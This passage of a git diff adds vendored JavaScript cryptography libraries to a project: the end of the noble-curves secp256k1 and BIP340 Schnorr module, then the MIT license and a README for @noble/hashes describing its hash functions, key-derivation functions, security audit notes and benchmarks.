(P+1n/4n).toString(2) would produce bits [223x 1, 0, 22x 1, 4x 0, 11, 00] + */ +function sqrtMod(y: bigint): bigint { + const P = secp256k1P; + // prettier-ignore + const _3n = BigInt(3), _6n = BigInt(6), _11n = BigInt(11), _22n = BigInt(22); + // prettier-ignore + const _23n = BigInt(23), _44n = BigInt(44), _88n = BigInt(88); + const b2 = (y * y * y) % P; // x^3, 11 + const b3 = (b2 * b2 * y) % P; // x^7 + const b6 = (pow2(b3, _3n, P) * b3) % P; + const b9 = (pow2(b6, _3n, P) * b3) % P; + const b11 = (pow2(b9, _2n, P) * b2) % P; + const b22 = (pow2(b11, _11n, P) * b11) % P; + const b44 = (pow2(b22, _22n, P) * b22) % P; + const b88 = (pow2(b44, _44n, P) * b44) % P; + const b176 = (pow2(b88, _88n, P) * b88) % P; + const b220 = (pow2(b176, _44n, P) * b44) % P; + const b223 = (pow2(b220, _3n, P) * b3) % P; + const t1 = (pow2(b223, _23n, P) * b22) % P; + const t2 = (pow2(t1, _6n, P) * b2) % P; + const root = pow2(t2, _2n, P); + if (!Fp.eql(Fp.sqr(root), y)) throw new Error('Cannot find square root'); + return root; +} + +const Fp = Field(secp256k1P, undefined, undefined, { sqrt: sqrtMod }); + +export const secp256k1 = createCurve( + { + a: BigInt(0), // equation params: a, b + b: BigInt(7), // Seem to be rigid: bitcointalk.org/index.php?topic=289795.msg3183975#msg3183975 + Fp, // Field's prime: 2n**256n - 2n**32n - 2n**9n - 2n**8n - 2n**7n - 2n**6n - 2n**4n - 1n + n: secp256k1N, // Curve order, total count of valid points in the field + // Base point (x, y) aka generator point + Gx: BigInt('55066263022277343669578718895168534326250603453777594175500187360389116729240'), + Gy: BigInt('32670510020758816978083085130507043184471273380659243275938904335757337482424'), + h: BigInt(1), // Cofactor + lowS: true, // Allow only low-S signatures by default in sign() and verify() + /** + * secp256k1 belongs to Koblitz curves: it has efficiently computable endomorphism. + * Endomorphism uses 2x less RAM, speeds up precomputation by 2x and ECDH / key recovery by 20%. + * For precomputed wNAF it trades off 1/2 init time & 1/3 ram for 20% perf hit. + * Explanation: https://gist.github.com/paulmillr/eb670806793e84df628a7c434a873066 + */ + endo: { + beta: BigInt('0x7ae96a2b657c07106e64479eac3434e99cf0497512f58995c1396c28719501ee'), + splitScalar: (k: bigint) => { + const n = secp256k1N; + const a1 = BigInt('0x3086d221a7d46bcde86c90e49284eb15'); + const b1 = -_1n * BigInt('0xe4437ed6010e88286f547fa90abfe4c3'); + const a2 = BigInt('0x114ca50f7a8e2f3f657c1108d9d44cfd8'); + const b2 = a1; + const POW_2_128 = BigInt('0x100000000000000000000000000000000'); // (2n**128n).toString(16) + + const c1 = divNearest(b2 * k, n); + const c2 = divNearest(-b1 * k, n); + let k1 = mod(k - c1 * a1 - c2 * a2, n); + let k2 = mod(-c1 * b1 - c2 * b2, n); + const k1neg = k1 > POW_2_128; + const k2neg = k2 > POW_2_128; + if (k1neg) k1 = n - k1; + if (k2neg) k2 = n - k2; + if (k1 > POW_2_128 || k2 > POW_2_128) { + throw new Error('splitScalar: Endomorphism failed, k=' + k); + } + return { k1neg, k1, k2neg, k2 }; + }, + }, + }, + sha256 +); + +// Schnorr signatures are superior to ECDSA from above. Below is Schnorr-specific BIP0340 code. +// https://github.com/bitcoin/bips/blob/master/bip-0340.mediawiki +const _0n = BigInt(0); +const fe = (x: bigint) => typeof x === 'bigint' && _0n < x && x < secp256k1P; +const ge = (x: bigint) => typeof x === 'bigint' && _0n < x && x < secp256k1N; +/** An object mapping tags to their tagged hash prefix of [SHA256(tag) | SHA256(tag)] */ +const TAGGED_HASH_PREFIXES: { [tag: string]: Uint8Array } = {}; +function taggedHash(tag: string, ...messages: Uint8Array[]): Uint8Array { + let tagP = TAGGED_HASH_PREFIXES[tag]; + if (tagP === undefined) { + const tagH = sha256(Uint8Array.from(tag, (c) => c.charCodeAt(0))); + tagP = concatBytes(tagH, tagH); + TAGGED_HASH_PREFIXES[tag] = tagP; + } + return sha256(concatBytes(tagP, ...messages)); +} + +// ECDSA compact points are 33-byte. Schnorr is 32: we strip first byte 0x02 or 0x03 +const pointToBytes = (point: PointType) => point.toRawBytes(true).slice(1); +const numTo32b = (n: bigint) => numberToBytesBE(n, 32); +const modP = (x: bigint) => mod(x, secp256k1P); +const modN = (x: bigint) => mod(x, secp256k1N); +const Point = secp256k1.ProjectivePoint; +const GmulAdd = (Q: PointType, a: bigint, b: bigint) => + Point.BASE.multiplyAndAddUnsafe(Q, a, b); + +// Calculate point, scalar and bytes +function schnorrGetExtPubKey(priv: PrivKey) { + let d_ = secp256k1.utils.normPrivateKeyToScalar(priv); // same method executed in fromPrivateKey + let p = Point.fromPrivateKey(d_); // P = d'⋅G; 0 < d' < n check is done inside + const scalar = p.hasEvenY() ? d_ : modN(-d_); + return { scalar: scalar, bytes: pointToBytes(p) }; +} +/** + * lift_x from BIP340. Convert 32-byte x coordinate to elliptic curve point. + * @returns valid point checked for being on-curve + */ +function lift_x(x: bigint): PointType { + if (!fe(x)) throw new Error('bad x: need 0 < x < p'); // Fail if x ≥ p. + const xx = modP(x * x); + const c = modP(xx * x + BigInt(7)); // Let c = x³ + 7 mod p. + let y = sqrtMod(c); // Let y = c^(p+1)/4 mod p. + if (y % _2n !== _0n) y = modP(-y); // Return the unique point P such that x(P) = x and + const p = new Point(x, y, _1n); // y(P) = y if y mod 2 = 0 or y(P) = p-y otherwise. + p.assertValidity(); + return p; +} +/** + * Create tagged hash, convert it to bigint, reduce modulo-n. + */ +function challenge(...args: Uint8Array[]): bigint { + return modN(bytesToNumberBE(taggedHash('BIP0340/challenge', ...args))); +} + +/** + * Schnorr public key is just `x` coordinate of Point as per BIP340. + */ +function schnorrGetPublicKey(privateKey: Hex): Uint8Array { + return schnorrGetExtPubKey(privateKey).bytes; // d'=int(sk). Fail if d'=0 or d'≥n. Ret bytes(d'⋅G) +} + +/** + * Creates Schnorr signature as per BIP340. Verifies itself before returning anything. + * auxRand is optional and is not the sole source of k generation: bad CSPRNG won't be dangerous. + */ +function schnorrSign( + message: Hex, + privateKey: PrivKey, + auxRand: Hex = randomBytes(32) +): Uint8Array { + const m = ensureBytes('message', message); + const { bytes: px, scalar: d } = schnorrGetExtPubKey(privateKey); // checks for isWithinCurveOrder + const a = ensureBytes('auxRand', auxRand, 32); // Auxiliary random data a: a 32-byte array + const t = numTo32b(d ^ bytesToNumberBE(taggedHash('BIP0340/aux', a))); // Let t be the byte-wise xor of bytes(d) and hash/aux(a) + const rand = taggedHash('BIP0340/nonce', t, px, m); // Let rand = hash/nonce(t || bytes(P) || m) + const k_ = modN(bytesToNumberBE(rand)); // Let k' = int(rand) mod n + if (k_ === _0n) throw new Error('sign failed: k is zero'); // Fail if k' = 0. + const { bytes: rx, scalar: k } = schnorrGetExtPubKey(k_); // Let R = k'⋅G. + const e = challenge(rx, px, m); // Let e = int(hash/challenge(bytes(R) || bytes(P) || m)) mod n. + const sig = new Uint8Array(64); // Let sig = bytes(R) || bytes((k + ed) mod n). + sig.set(rx, 0); + sig.set(numTo32b(modN(k + e * d)), 32); + // If Verify(bytes(P), m, sig) (see below) returns failure, abort + if (!schnorrVerify(sig, m, px)) throw new Error('sign: Invalid signature produced'); + return sig; +} + +/** + * Verifies Schnorr signature. + * Will swallow errors & return false except for initial type validation of arguments. + */ +function schnorrVerify(signature: Hex, message: Hex, publicKey: Hex): boolean { + const sig = ensureBytes('signature', signature, 64); + const m = ensureBytes('message', message); + const pub = ensureBytes('publicKey', publicKey, 32); + try { + const P = lift_x(bytesToNumberBE(pub)); // P = lift_x(int(pk)); fail if that fails + const r = bytesToNumberBE(sig.subarray(0, 32)); // Let r = int(sig[0:32]); fail if r ≥ p. + if (!fe(r)) return false; + const s = bytesToNumberBE(sig.subarray(32, 64)); // Let s = int(sig[32:64]); fail if s ≥ n. + if (!ge(s)) return false; + const e = challenge(numTo32b(r), pointToBytes(P), m); // int(challenge(bytes(r)||bytes(P)||m))%n + const R = GmulAdd(P, s, modN(-e)); // R = s⋅G - e⋅P + if (!R || !R.hasEvenY() || R.toAffine().x !== r) return false; // -eP == (n-e)P + return true; // Fail if is_infinite(R) / not has_even_y(R) / x(R) ≠ r. + } catch (error) { + return false; + } +} + +export const schnorr = /* @__PURE__ */ (() => ({ + getPublicKey: schnorrGetPublicKey, + sign: schnorrSign, + verify: schnorrVerify, + utils: { + randomPrivateKey: secp256k1.utils.randomPrivateKey, + lift_x, + pointToBytes, + numberToBytesBE, + bytesToNumberBE, + taggedHash, + mod, + }, +}))(); + +const isoMap = /* @__PURE__ */ (() => + isogenyMap( + Fp, + [ + // xNum + [ + '0x8e38e38e38e38e38e38e38e38e38e38e38e38e38e38e38e38e38e38daaaaa8c7', + '0x7d3d4c80bc321d5b9f315cea7fd44c5d595d2fc0bf63b92dfff1044f17c6581', + '0x534c328d23f234e6e2a413deca25caece4506144037c40314ecbd0b53d9dd262', + '0x8e38e38e38e38e38e38e38e38e38e38e38e38e38e38e38e38e38e38daaaaa88c', + ], + // xDen + [ + '0xd35771193d94918a9ca34ccbb7b640dd86cd409542f8487d9fe6b745781eb49b', + '0xedadc6f64383dc1df7c4b2d51b54225406d36b641f5e41bbc52a56612a8c6d14', + '0x0000000000000000000000000000000000000000000000000000000000000001', // LAST 1 + ], + // yNum + [ + '0x4bda12f684bda12f684bda12f684bda12f684bda12f684bda12f684b8e38e23c', + '0xc75e0c32d5cb7c0fa9d0a54b12a0a6d5647ab046d686da6fdffc90fc201d71a3', + '0x29a6194691f91a73715209ef6512e576722830a201be2018a765e85a9ecee931', + '0x2f684bda12f684bda12f684bda12f684bda12f684bda12f684bda12f38e38d84', + ], + // yDen + [ + '0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffefffff93b', + '0x7a06534bb8bdb49fd5e9e6632722c2989467c1bfc8e8d978dfb425d2685c2573', + '0x6484aa716545ca2cf3a70c3fa8fe337e0a3d21162f0d6299a7bf8192bfd2a76f', + '0x0000000000000000000000000000000000000000000000000000000000000001', // LAST 1 + ], + ].map((i) => i.map((j) => BigInt(j))) as [bigint[], bigint[], bigint[], bigint[]] + ))(); +const mapSWU = /* @__PURE__ */ (() => + mapToCurveSimpleSWU(Fp, { + A: BigInt('0x3f8731abdd661adca08a5558f0f5d272e953d363cb6f0e5d405447c01a444533'), + B: BigInt('1771'), + Z: Fp.create(BigInt('-11')), + }))(); +const htf = /* @__PURE__ */ (() => + createHasher( + secp256k1.ProjectivePoint, + (scalars: bigint[]) => { + const { x, y } = mapSWU(Fp.create(scalars[0])); + return isoMap(x, y); + }, + { + DST: 'secp256k1_XMD:SHA-256_SSWU_RO_', + encodeDST: 'secp256k1_XMD:SHA-256_SSWU_NU_', + p: Fp.ORDER, + m: 1, + k: 128, + expand: 'xmd', + hash: sha256, + } + ))(); +export const hashToCurve = /* @__PURE__ */ (() => htf.hashToCurve)(); +export const encodeToCurve = /* @__PURE__ */ (() => htf.encodeToCurve)(); diff --git a/node_modules/@noble/hashes/LICENSE b/node_modules/@noble/hashes/LICENSE new file mode 100644 index 000000000000..9297a046d01c --- /dev/null +++ b/node_modules/@noble/hashes/LICENSE @@ -0,0 +1,21 @@ +The MIT License (MIT) + +Copyright (c) 2022 Paul Miller (https://paulmillr.com) + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the “Software”), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in +all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +THE SOFTWARE. \ No newline at end of file diff --git a/node_modules/@noble/hashes/README.md b/node_modules/@noble/hashes/README.md new file mode 100644 index 000000000000..6f71600a2848 --- /dev/null +++ b/node_modules/@noble/hashes/README.md @@ -0,0 +1,534 @@ +# noble-hashes + +Audited & minimal JS implementation of SHA2, SHA3, RIPEMD, BLAKE2/3, HMAC, HKDF, PBKDF2 & Scrypt. + +- 🔒 [**Audited**](#security) by an independent security firm +- 🔻 Tree-shaking-friendly: use only what's necessary, other code won't be included +- 🏎 Ultra-fast, hand-optimized for caveats of JS engines +- 🔍 Unique tests ensure correctness: chained tests, sliding window tests, DoS tests, fuzzing +- 🔁 No unrolled loops: makes it easier to verify and reduces source code size up to 5x +- 🐢 Scrypt supports `N: 2**22`, while other implementations are limited to `2**20` +- 🦘 SHA3 supports Keccak, TupleHash, KangarooTwelve and MarsupilamiFourteen +- 🪶 Just 3.4k lines / 17KB gzipped. SHA256-only is 240 lines / 3KB gzipped + +The library's initial development was funded by [Ethereum Foundation](https://ethereum.org/). + +### This library belongs to _noble_ crypto + +> **noble-crypto** — high-security, easily auditable set of contained cryptographic libraries and tools. + +- No dependencies, protection against supply chain attacks +- Auditable TypeScript / JS code +- Supported on all major platforms +- Releases are signed with PGP keys and built transparently with NPM provenance +- Check out [homepage](https://paulmillr.com/noble/) & all libraries: + [ciphers](https://github.com/paulmillr/noble-ciphers), + [curves](https://github.com/paulmillr/noble-curves), + [hashes](https://github.com/paulmillr/noble-hashes), + 4kb [secp256k1](https://github.com/paulmillr/noble-secp256k1) / + [ed25519](https://github.com/paulmillr/noble-ed25519) + +## Usage + +> npm install @noble/hashes + +We support all major platforms and runtimes. +For [Deno](https://deno.land), ensure to use [npm specifier](https://deno.land/manual@v1.28.0/node/npm_specifiers). +For React Native, you may need a [polyfill for getRandomValues](https://github.com/LinusU/react-native-get-random-values). +If you don't like NPM, a standalone [noble-hashes.js](https://github.com/paulmillr/noble-hashes/releases) is also available. + +```js +// import * from '@noble/hashes'; // Error: use sub-imports, to ensure small app size +import { sha256 } from '@noble/hashes/sha256'; // ECMAScript modules (ESM) and Common.js +// import { sha256 } from 'npm:@noble/hashes@1.3.0/sha256'; // Deno +console.log(sha256(new Uint8Array([1, 2, 3]))); // Uint8Array(32) [3, 144, 88, 198, 242...] +// you could also pass strings that will be UTF8-encoded to Uint8Array +console.log(sha256('abc')); // == sha256(new TextEncoder().encode('abc')) + +// sha384 is here, because it uses same internals as sha512 +import { sha512, sha512_256, sha384 } from '@noble/hashes/sha512'; +// prettier-ignore +import { + sha3_224, sha3_256, sha3_384, sha3_512, + keccak_224, keccak_256, keccak_384, keccak_512, + shake128, shake256 +} from '@noble/hashes/sha3'; +// prettier-ignore +import { + cshake128, cshake256, kmac128, kmac256, + k12, m14, + tuplehash256, parallelhash256, keccakprg +} from '@noble/hashes/sha3-addons'; +import { ripemd160 } from '@noble/hashes/ripemd160'; +import { blake3 } from '@noble/hashes/blake3'; +import { blake2b } from '@noble/hashes/blake2b'; +import { blake2s } from '@noble/hashes/blake2s'; +import { hmac } from '@noble/hashes/hmac'; +import { hkdf } from '@noble/hashes/hkdf'; +import { pbkdf2, pbkdf2Async } from '@noble/hashes/pbkdf2'; +import { scrypt, scryptAsync } from '@noble/hashes/scrypt'; + +import { sha1 } from '@noble/hashes/sha1'; // legacy + +// small utility method that converts bytes to hex +import { bytesToHex as toHex } from '@noble/hashes/utils'; +console.log(toHex(sha256('abc'))); // ba7816bf8f01cfea414140de5dae2223b00361a396177a9cb410ff61f20015ad +``` + +## API + +All hash functions: + +- can be called directly, with `Uint8Array`. +- return `Uint8Array` +- can receive `string`, which is automatically converted to `Uint8Array` + via utf8 encoding **(not hex)** +- support hashing 4GB of data per update on 64-bit systems (unlimited with streaming) + +```ts +function hash(message: Uint8Array | string): Uint8Array; +hash(new Uint8Array([1, 3])); +hash('string') == hash(new TextEncoder().encode('string')); +``` + +All hash functions can be constructed via `hash.create()` method: + +- the result is `Hash` subclass instance, which has `update()` and `digest()` methods +- `digest()` finalizes the hash and makes it no longer usable + +```ts +hash + .create() + .update(new Uint8Array([1, 3])) + .digest(); +``` + +_Some_ hash functions can also receive `options` object, which can be either passed as a: + +- second argument to hash function: `blake3('abc', { key: 'd', dkLen: 32 })` +- first argument to class initializer: `blake3.create({ context: 'e', dkLen: 32 })` + +## Modules + +- [SHA2 (sha256, sha384, sha512, sha512_256)](#sha2-sha256-sha384-sha512-sha512_256) +- [SHA3 (FIPS, SHAKE, Keccak)](#sha3-fips-shake-keccak) +- [SHA3 Addons (cSHAKE, KMAC, KangarooTwelve, MarsupilamiFourteen)](#sha3-addons-cshake-kmac-tuplehash-parallelhash-kangarootwelve-marsupilamifourteen) +- [RIPEMD-160](#ripemd-160) +- [BLAKE2b, BLAKE2s](#blake2b-blake2s) +- [BLAKE3](#blake3) +- [SHA1 (legacy)](#sha1-legacy) +- [HMAC](#hmac) +- [HKDF](#hkdf) +- [PBKDF2](#pbkdf2) +- [Scrypt](#scrypt) +- [ESKDF](#eskdf) +- [utils](#utils) + +##### SHA2 (sha256, sha384, sha512, sha512_256) + +```typescript +import { sha256 } from '@noble/hashes/sha256'; +const h1a = sha256('abc'); +const h1b = sha256 + .create() + .update(Uint8Array.from([1, 2, 3])) + .digest(); +``` + +```typescript +import { sha512 } from '@noble/hashes/sha512'; +const h2a = sha512('abc'); +const h2b = sha512 + .create() + .update(Uint8Array.from([1, 2, 3])) + .digest(); + +// SHA512/256 variant +import { sha512_256 } from '@noble/hashes/sha512'; +const h3a = sha512_256('abc'); +const h3b = sha512_256 + .create() + .update(Uint8Array.from([1, 2, 3])) + .digest(); + +// SHA384 +import { sha384 } from '@noble/hashes/sha512'; +const h4a = sha384('abc'); +const h4b = sha384 + .create() + .update(Uint8Array.from([1, 2, 3])) + .digest(); +``` + +See [RFC 4634](https://datatracker.ietf.org/doc/html/rfc4634) and +[the paper on SHA512/256](https://eprint.iacr.org/2010/548.pdf). + +##### SHA3 (FIPS, SHAKE, Keccak) + +```typescript +import { + sha3_224, + sha3_256, + sha3_384, + sha3_512, + keccak_224, + keccak_256, + keccak_384, + keccak_512, + shake128, + shake256, +} from '@noble/hashes/sha3'; +const h5a = sha3_256('abc'); +const h5b = sha3_256 + .create() + .update(Uint8Array.from([1, 2, 3])) + .digest(); +const h6a = keccak_256('abc'); +const h7a = shake128('abc', { dkLen: 512 }); +const h7b = shake256('abc', { dkLen: 512 }); +``` + +See [FIPS PUB 202](https://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.202.pdf), +[Website](https://keccak.team/keccak.html). + +Check out [the differences between SHA-3 and Keccak](https://crypto.stackexchange.com/questions/15727/what-are-the-key-differences-between-the-draft-sha-3-standard-and-the-keccak-sub) + +##### SHA3 Addons (cSHAKE, KMAC, TupleHash, ParallelHash, KangarooTwelve, MarsupilamiFourteen) + +```typescript +import { + cshake128, + cshake256, + kmac128, + kmac256, + k12, + m14, + tuplehash128, + tuplehash256, + parallelhash128, + parallelhash256, + keccakprg, +} from '@noble/hashes/sha3-addons'; +const h7c = cshake128('abc', { personalization: 'def' }); +const h7d = cshake256('abc', { personalization: 'def' }); +const h7e = kmac128('key', 'message'); +const h7f = kmac256('key', 'message'); +const h7h = k12('abc'); +const h7g = m14('abc'); +const h7i = tuplehash128(['ab', 'c']); // tuplehash(['ab', 'c']) !== tuplehash(['a', 'bc']) !== tuplehash(['abc']) +// Same as k12/blake3, but without reduced number of rounds. Doesn't speedup anything due lack of SIMD and threading, +// added for compatibility. +const h7j = parallelhash128('abc', { blockLen: 8 }); +// pseudo-random generator, first argument is capacity. XKCP recommends 254 bits capacity for 128-bit security strength. +// * with a capacity of 254 bits. +const p = keccakprg(254); +p.feed('test'); +const rand1b = p.fetch(1); +``` + +- Full [NIST SP 800-185](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-185.pdf): + cSHAKE, KMAC, TupleHash, ParallelHash + XOF variants +- 🦘 K12 ([KangarooTwelve Paper](https://keccak.team/files/KangarooTwelve.pdf), + [RFC Draft](https://www.ietf.org/archive/id/draft-irtf-cfrg-kangarootwelve-06.txt)) + and M14 aka MarsupilamiFourteen are basically parallel versions of Keccak with + reduced number of rounds (same as Blake3 and ParallelHash). +- [KeccakPRG](https://keccak.team/files/CSF-0.1.pdf): Pseudo-random generator based on Keccak + +##### RIPEMD-160 + +```typescript +import { ripemd160 } from '@noble/hashes/ripemd160'; +// function ripemd160(data: Uint8Array): Uint8Array; +const hash8 = ripemd160('abc'); +const hash9 = ripemd160() + .create() + .update(Uint8Array.from([1, 2, 3])) + .digest(); +``` + +See [RFC 2286](https://datatracker.ietf.org/doc/html/rfc2286), +[Website](https://homes.esat.kuleuven.be/~bosselae/ripemd160.html) + +##### BLAKE2b, BLAKE2s + +```typescript +import { blake2b } from '@noble/hashes/blake2b'; +import { blake2s } from '@noble/hashes/blake2s'; +const h10a = blake2s('abc'); +const b2params = { key: new Uint8Array([1]), personalization: t, salt: t, dkLen: 32 }; +const h10b = blake2s('abc', b2params); +const h10c = blake2s + .create(b2params) + .update(Uint8Array.from([1, 2, 3])) + .digest(); +``` + +See [RFC 7693](https://datatracker.ietf.org/doc/html/rfc7693), [Website](https://www.blake2.net). + +##### BLAKE3 + +```typescript +import { blake3 } from '@noble/hashes/blake3'; +// All params are optional +const h11 = blake3('abc', { dkLen: 256, key: 'def', context: 'fji' }); +``` + +##### SHA1 (legacy) + +SHA1 was cryptographically broken, however, it was not broken for cases like HMAC. + +See [RFC4226 B.2](https://datatracker.ietf.org/doc/html/rfc4226#appendix-B.2). + +Don't use it for a new protocol. + +```typescript +import { sha1 } from '@noble/hashes/sha1'; +const h12 = sha1('def'); +``` + +##### HMAC + +```typescript +import { hmac } from '@noble/hashes/hmac'; +import { sha256 } from '@noble/hashes/sha256'; +const mac1 = hmac(sha256, 'key', 'message'); +const mac2 = hmac.create(sha256, Uint8Array.from([1, 2, 3])).update(Uint8Array.from([4, 5, 6])).digest(); +``` + +Matches [RFC 2104](https://datatracker.ietf.org/doc/html/rfc2104). + +##### HKDF + +```typescript +import { hkdf } from '@noble/hashes/hkdf'; +import { sha256 } from '@noble/hashes/sha256'; +import { randomBytes } from '@noble/hashes/utils'; +const inputKey = randomBytes(32); +const salt = randomBytes(32); +const info = 'abc'; +const dkLen = 32; +const hk1 = hkdf(sha256, inputKey, salt, info, dkLen); + +// == same as +import * as hkdf from '@noble/hashes/hkdf'; +import { sha256 } from '@noble/hashes/sha256'; +const prk = hkdf.extract(sha256, inputKey, salt); +const hk2 = hkdf.expand(sha256, prk, info, dkLen); +``` + +Matches [RFC 5869](https://datatracker.ietf.org/doc/html/rfc5869). + +##### PBKDF2 + +```typescript +import { pbkdf2, pbkdf2Async } from '@noble/hashes/pbkdf2'; +import { sha256 } from '@noble/hashes/sha256'; +const pbkey1 = pbkdf2(sha256, 'password', 'salt', { c: 32, dkLen: 32 }); +const pbkey2 = await pbkdf2Async(sha256, 'password', 'salt', { c: 32, dkLen: 32 }); +const pbkey3 = await pbkdf2Async(sha256, Uint8Array.from([1, 2, 3]), Uint8Array.from([4, 5, 6]), { + c: 32, + dkLen: 32, +}); +``` + +Matches [RFC 2898](https://datatracker.ietf.org/doc/html/rfc2898). + +##### Scrypt + +```typescript +import { scrypt, scryptAsync } from '@noble/hashes/scrypt'; +const scr1 = scrypt('password', 'salt', { N: 2 ** 16, r: 8, p: 1, dkLen: 32 }); +const scr2 = await scryptAsync('password', 'salt', { N: 2 ** 16, r: 8, p: 1, dkLen: 32 }); +const scr3 = await scryptAsync(Uint8Array.from([1, 2, 3]), Uint8Array.from([4, 5, 6]), { + N: 2 ** 22, + r: 8, + p: 1, + dkLen: 32, + onProgress(percentage) { + console.log('progress', percentage); + }, + maxmem: 2 ** 32 + 128 * 8 * 1, // N * r * p * 128 + (128*r*p) +}); +``` + +Conforms to [RFC 7914](https://datatracker.ietf.org/doc/html/rfc7914), +[Website](https://www.tarsnap.com/scrypt.html) + +- `N, r, p` are work factors. To understand them, see [the blog post](https://blog.filippo.io/the-scrypt-parameters/). +- `dkLen` is the length of output bytes +- It is common to use N from `2**10` to `2**22` and `{r: 8, p: 1, dkLen: 32}` +- `onProgress` can be used with async version of the function to report progress to a user. + +Memory usage of scrypt is calculated with the formula `N * r * p * 128 + (128 * r * p)`, +which means `{N: 2 ** 22, r: 8, p: 1}` will use 4GB + 1KB of memory. To prevent +DoS, we limit scrypt to `1GB + 1KB` of RAM used, which corresponds to +`{N: 2 ** 20, r: 8, p: 1}`. If you want to use higher values, increase +`maxmem` using the formula above. + +_Note:_ noble supports `2**22` (4GB RAM) which is the highest amount amongst JS +libs. Many other implementations don't support it. We cannot support `2**23`, +because there is a limitation in JS engines that makes allocating +arrays bigger than 4GB impossible, but we're looking into other possible solutions. + +##### Argon2 + +Experimental Argon2 RFC 9106 implementation. It may be removed at any time. + +```ts +import { argon2d, argon2i, argon2id } from '@noble/hashes/argon2'; +const result = argon2id('password', 'salt', { t: 2, m: 65536, p: 1 }); +``` + +##### ESKDF + +A tiny stretched KDF for various applications like AES key-gen. Takes >= 2 seconds to execute. + +Takes following params: + +- `username` - username, email, or identifier, min: 8 characters, should have enough entropy +- `password` - min: 8 characters, should have enough entropy + +Produces ESKDF instance that has `deriveChildKey(protocol, accountId[, options])` function. + +- `protocol` - 3-15 character protocol name +- `accountId` - numeric identifier of account +- `options` - `keyLength: 32` with specified key length (default is 32), + or `modulus: 2n ** 221n - 17n` with specified modulus. It will fetch modulus + 64 bits of + data, execute modular division. The result will have negligible bias as per FIPS 186 B.4.1. + Can be used to generate, for example, elliptic curve keys. + +Takes username and password, then takes protocol name and account id. + +```typescript +import { eskdf } from '@noble/hashes/eskdf'; +const kdf = await eskdf('example@university', 'beginning-new-example'); +console.log(kdf.fingerprint); +const key1 = kdf.deriveChildKey('aes', 0); +const key2 = kdf.deriveChildKey('aes', 0, { keyLength: 16 }); +const ecc1 = kdf.deriveChildKey('ecc', 0, { modulus: 2n ** 252n - 27742317777372353535851937790883648493n }) +kdf.expire(); +``` + +##### utils + +```typescript +import { bytesToHex as toHex, randomBytes } from '@noble/hashes/utils'; +console.log(toHex(randomBytes(32))); +``` + +- `bytesToHex` will convert `Uint8Array` to a hex string +- `randomBytes(bytes)` will produce cryptographically secure random `Uint8Array` of length `bytes` + +## Security + +Noble is production-ready. + +1. The library has been audited in Jan 2022 by an independent security firm + cure53: [PDF](https://cure53.de/pentest-report_hashing-libs.pdf). + No vulnerabilities have been found. The audit has been funded by + [Ethereum Foundation](https://ethereum.org/en/) with help of [Nomic Labs](https://nomiclabs.io). + Modules `blake3`, `sha3-addons`, `sha1` and `argon2` have not been audited. + See [changes since audit](https://github.com/paulmillr/noble-hashes/compare/1.0.0..main). +2. The library has been fuzzed by [Guido Vranken's cryptofuzz](https://github.com/guidovranken/cryptofuzz). + You can run the fuzzer by yourself to check it. +3. [Timing attack](https://en.wikipedia.org/wiki/Timing_attack) considerations: + _JIT-compiler_ and _Garbage Collector_ make "constant time" extremely hard to + achieve in a scripting language. Which means _any other JS library can't have constant-timeness_. + Even statically typed Rust, a language without GC, + [makes it harder to achieve constant-time](https://www.chosenplaintext.ca/open-source/rust-timing-shield/security) + for some cases. If your goal is absolute security, don't use any JS lib — including + bindings to native ones. Use low-level libraries & languages. Nonetheless we're + targetting algorithmic constant time. +4. Memory dump considerations: the library shares state buffers between hash + function calls. The buffers are zeroed-out after each call. However, if an attacker + can read application memory, you are doomed in any case: + - At some point, input will be a string and strings are immutable in JS: + there is no way to overwrite them with zeros. For example: deriving + key from `scrypt(password, salt)` where password and salt are strings + - Input from a file will stay in file buffers + - Input / output will be re-used multiple times in application which means + it could stay in memory + - `await anything()` will always write all internal variables (including numbers) + to memory. With async functions / Promises there are no guarantees when the code + chunk would be executed. Which means attacker can have plenty of time to read data from memory + - There is no way to guarantee anything about zeroing sensitive data without + complex tests-suite which will dump process memory and verify that there is + no sensitive data left. For JS it means testing all browsers (incl. mobile), + which is complex. And of course it will be useless without using the same + test-suite in the actual application that consumes the library + +We consider infrastructure attacks like rogue NPM modules very important; that's +why it's crucial to minimize the amount of 3rd-party dependencies & native bindings. +If your app uses 500 dependencies, any dep could get hacked and you'll be downloading +malware with every `npm install`. Our goal is to minimize this attack vector. + +## Speed + +Benchmarks measured on Apple M1 with macOS 12. +Note that PBKDF2 and Scrypt are tested with extremely high work factor. +To run benchmarks, execute `npm run bench:install` and then `npm run bench` + +``` +SHA256 32B x 1,219,512 ops/sec @ 820ns/op ± 2.58% (min: 625ns, max: 4ms) +SHA384 32B x 512,032 ops/sec @ 1μs/op +SHA512 32B x 509,943 ops/sec @ 1μs/op +SHA3-256, keccak256, shake256 32B x 199,600 ops/sec @ 5μs/op +Kangaroo12 32B x 336,360 ops/sec @ 2μs/op +Marsupilami14 32B x 298,418 ops/sec @ 3μs/op +BLAKE2b 32B x 379,794 ops/sec @ 2μs/op +BLAKE2s 32B x 515,995 ops/sec @ 1μs/op ± 1.07% (min: 1μs, max: 4ms) +BLAKE3 32B x 588,235 ops/sec @ 1μs/op ± 1.36% (min: 1μs, max: 5ms) +RIPEMD160 32B x 1,140,250 ops/sec @ 877ns/op ± 3.12% (min: 708ns, max: 6ms) +HMAC-SHA256 32B x 377,358 ops/sec @ 2μs/op + +HKDF-SHA256 32B x 108,377 ops/sec @ 9μs/op +PBKDF2-HMAC-SHA256 262144 x 3 ops/sec @ 